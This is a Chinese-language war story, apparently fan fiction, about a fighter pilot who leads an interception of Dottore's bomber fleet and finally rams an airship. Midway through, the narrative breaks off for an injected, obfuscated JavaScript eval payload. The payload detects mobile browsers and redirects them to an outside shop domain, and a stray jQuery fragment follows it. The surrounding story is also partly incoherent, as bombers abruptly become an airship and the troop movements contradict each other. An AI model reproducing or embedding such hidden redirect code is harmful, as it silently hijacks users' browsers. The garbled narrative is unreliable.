西北·沙皇之翼
西北的天空在午后的光线下呈现出一种灰蓝色的调子，云层低垂，如同一片正在缓慢移动的铅灰色幕布，将地面与高空之间的界限模糊成一条扭曲的弧线。至冬空军的前线机场位于一处被风蚀的丘陵后方，跑道由压实的碎石和沙土铺成，边缘堆着成排的燃油桶和弹药箱。飞行员们在各自的战机旁等待着信号，有人蹲在起落架边抽烟，有人背靠着机尾的蒙皮闭目养神，有人在检查仪表盘上的读数。马卡尼左拉斯基站在他的座机旁。那架喷气式战斗机的机体表面漆着至冬空军的深灰色涂装，机翼两侧各有一枚红色星标，漆面略有磨损。他穿着一件深色的飞行服，拉链拉到领口，手中夹着一块用旧布擦拭的护目镜。他的年龄大约三十七岁，面容清瘦，颧骨偏高，飞行服袖口处有一道磨损的痕迹。这已经是他飞行的第十七个年头了。机场前方的天气一直不太平静，沙尘与阵风交错，压低了能见度，也推迟了出发时间。
半个小时前，空中侦察机传回了西北方向的报告——多托雷的无尾翼轰炸机群正在向至冬军的地面阵地逼近，编队规模很大，携带了重型炸弹和集束弹药，目标直指至冬军正在撤退的十三万地面部队。地面部队正在向南方移动，但他们的行军速度无法与空中编队的飞行速度相比，如果轰炸机群在它们到达预设位置前完成投弹，后果将无法逆转，可能会使整支撤退部队在开始撤离之前就已经瘫痪在地面上。唯一可行的应对方式，是出动空军进行拦截。
跑道前方，风向标志旗正在迎风展开。马卡尼左拉斯基放下护目镜，挂上氧气面罩，走向机身侧面，登上了机体侧面的扶梯。他在驾驶舱内坐定，开始检查仪表读数。他的手指依次滑过高度表、空速表、油量表，它们各自显示在正常范围内，虽然部分指针的读数没有完全对齐理想刻度，但仍在允许使用的区间之内。他系好安全带，推杆，将发动机的转速逐渐推高，感受着机身传递来的细微振动，随即松开刹车，向前滑行。跑道边缘的灰尘在机身掠过时短暂扬起，又在他身后落回地面。他的僚机紧跟着他的尾迹也开始加速。
整个编队以他为首，一架接一架地离地升空。马卡尼左拉斯基微微偏转机头，让阳光从他左侧的舷窗斜照进来，调整了他的坐姿。三十架沙皇喷气式战斗机，在空中排成一个疏开的编队，沿着西北方向爬升。机身下的丘陵在缩小，地面上的部队逐渐变成了模糊的线段。机身进入云层时，舷窗外的一切变成灰白色，什么也看不到，只能靠着仪表上的读数来保持航向和水平姿态。马卡尼左拉斯基在云层内飞行了大约片刻，然后穿过云层，出现在云层上方的一片开阔空域。
前方远处，多托雷帝国的无尾翼轰炸机群正在逼近。它们的机翼平直，机身后部没有水平尾翼，在云层之上显得格外突出。它们列成一个长方形的编队，速度稳定，机腹下的挂架上挂满了弹药。他计算了一下对方的位置和己方的接近角度后，通过无线电向前方编队下达了指令：“分散成两批，一批从侧上方切入，另一批从正面进入。速度快，不要缠斗。”
两批战斗机随即分开。马卡尼左拉斯基率领编队中的一部分，率先从侧上方向敌机编队发起突进。他的机头对准了敌机群侧面的一架轰炸机，锁定、瞄准，用快速连发的方式击中了它的机翼与机身连接处。那架轰炸机的机翼开始失去升力，机身逐渐失去平衡，倾斜着向下坠落。在他侧面，僚机也在用相同的方式攻击，将一架敌机的右发动机舱打穿，发动机随即冒出白色烟雾，随后转为灰黑色的浓烟，在机身侧面拖出一道烟迹。多托雷的轰炸机群在受到攻击后开始调整编队，试图以更紧密的队形减少暴露面积，部分轰炸机开始从侧翼向马卡尼左拉斯基的方向拉近距离，试图用自卫火力压制他的攻击角度。
马卡尼左拉斯基在完成一次俯冲后拉起高度，转向侧面，准备重新进入攻击位置。他注意到前方的几架轰炸机正在转向规避，但转向的速度不够，在他重新调整角度时，左侧的一架敌机正好掠过他的攻击线。他向前推杆，跟住那架敌机的移动方向，用一轮短点射击中它的机腹，使其开始缓慢失速，从编队中脱离，向下方偏转。
僚机的机翼外侧装甲板已经出现了几道擦痕，但并不影响操控。他的座机刚刚完成一次俯冲，拉起时略微偏向左下方，似乎是在确认下方那架敌机的坠落轨迹，然后重新调整方向。敌机的编队依然保持着接近完整的阵型，只是其中几架的位置出现了空缺，如同一排牙齿中缺失的几颗，空缺边缘的飞机正在缓慢合拢。
至冬的沙皇喷气式战斗机在完成第一轮攻击后，重新拉高、分散、转向，准备进行第二轮切入。空中的编队从最初的完整密集，渐渐散成了多支小股编队，各自为战，各自寻找着攻击窗口和返场路线。空战持续了大约一刻钟，双方不断交换位置和高度。马卡尼左拉斯基的机群已经有部分战机被迫脱离战斗，剩余的飞机数量正在减少，敌机的损失也在以与己方相近的速度攀升，但敌方的数量优势依然明显。
油表的指针已经接近红色区域。弹药数量也在减少，剩余弹药已经不足以支撑他再进行一次完整的攻击。他可以通过无线电向编队下达返航的指令，让幸存者退出战斗。但他也知道，那些轰炸机正在向地面部队所在的方向前进，即使现在转向追击，也无法在它们投弹之前完成新一轮拦截。他面前的敌机编队虽然已有多处空缺，但构成依然完整，只是不再像最初那样密集。如果现在离开，那些轰
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17738515|206303||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
炸机将在接下来的时间内飞越阵线，将弹药投向地面部队，在地面完成摧毁后再转向返回基地。
他调整了航向，将机头对准了编队中央那艘体积最大的飞艇。飞艇正缓慢地移动着，像一座悬浮在高空的灰色岛屿，没有加速规避，也没有改变航线，而是保持着它原有的方向向前行进，仿佛认为自身的体积和防护足以承受一切攻击。
他将节流阀向前推到底，把剩余的弹药全部打向了那艘飞艇的舰桥与气囊连接处，然后松开了机头指向，使机身保持当前的航向，不再进行任何修正。
他座机的机头斜斜地插入了那艘飞艇的气囊侧面，发动机的轰鸣声在瞬间被一种低沉的撕裂声取代，结构件扭曲变形，断裂处摩擦出细碎的火花。碎片飞溅开来，艇体表面的蒙皮被撕开一条纵向的裂口，裂口边缘的框架结构向外翻卷，露出内部交错的气囊骨架。
飞艇那艘飞艇没有解体，它依然悬浮在那里，只是底部那支被命中的引擎已经停止了转动，排气管中不再冒出废气，变成了一截静止的金属管，那艘飞艇的航速出现了一次短暂的停顿，但没有立即失去平衡，也未被全部摧毁。
马卡尼左拉斯基的座机已经彻底分裂成碎片，向飞艇下方的高空坠落，在坠落过程中不断碎裂成更小的部件，沿不同方向散落消失。
地面上，至冬军的主力部队已经越过了南方的山脊线，他们当时正在向北偏转方向，沿着山脊线以南的坡地展开队形。这段距离内，后方部队依然在移动，至少还需要一段时间才能完全脱离轰炸机群的航程。如果那艘飞艇在接下来的时间内继续向南飞行，地面部队可能依然无法在它抵达之前完成全部撤离。但他们沿着山脊线缓缓向更南的谷地方向移去，队形在行进中缓慢展开，直到整支部队越过山脊线，进入南侧坡地的遮挡范围，从飞艇的视野中逐渐消失。
空中残余的沙皇战斗机开始向西偏转，以松散的编队撤离战斗区域。他们在途中没有遇到拦截，也没有再听到无线电中传来新的指令。多托雷的轰炸机群和残存的飞艇则在调整航线，向东转向，不再向南延伸。远处的天际线上，最后几架沙皇战斗机的轮廓已经消失在山脊线后方，与视野无法到达的高度融为一片模糊的灰色。地面上，至冬军的地面部队在逐渐拉开距离，将撤离的阵线向南推进，在部队后方的路线上没有出现新的轰炸，也没有遭到来自空中的后续打击。在至冬军随军记录中，马卡尼左拉斯基的此次行动被记载为空军指挥序列中的一次成功掩护任务。记录中写明了编队的出发时间、空战经过和敌我双方的损失情况，并提及由于编队的拦截行动，敌方轰炸机群未能如期抵达地面部队上空，撤离行动得以按计划完成，伤亡人数低于预期。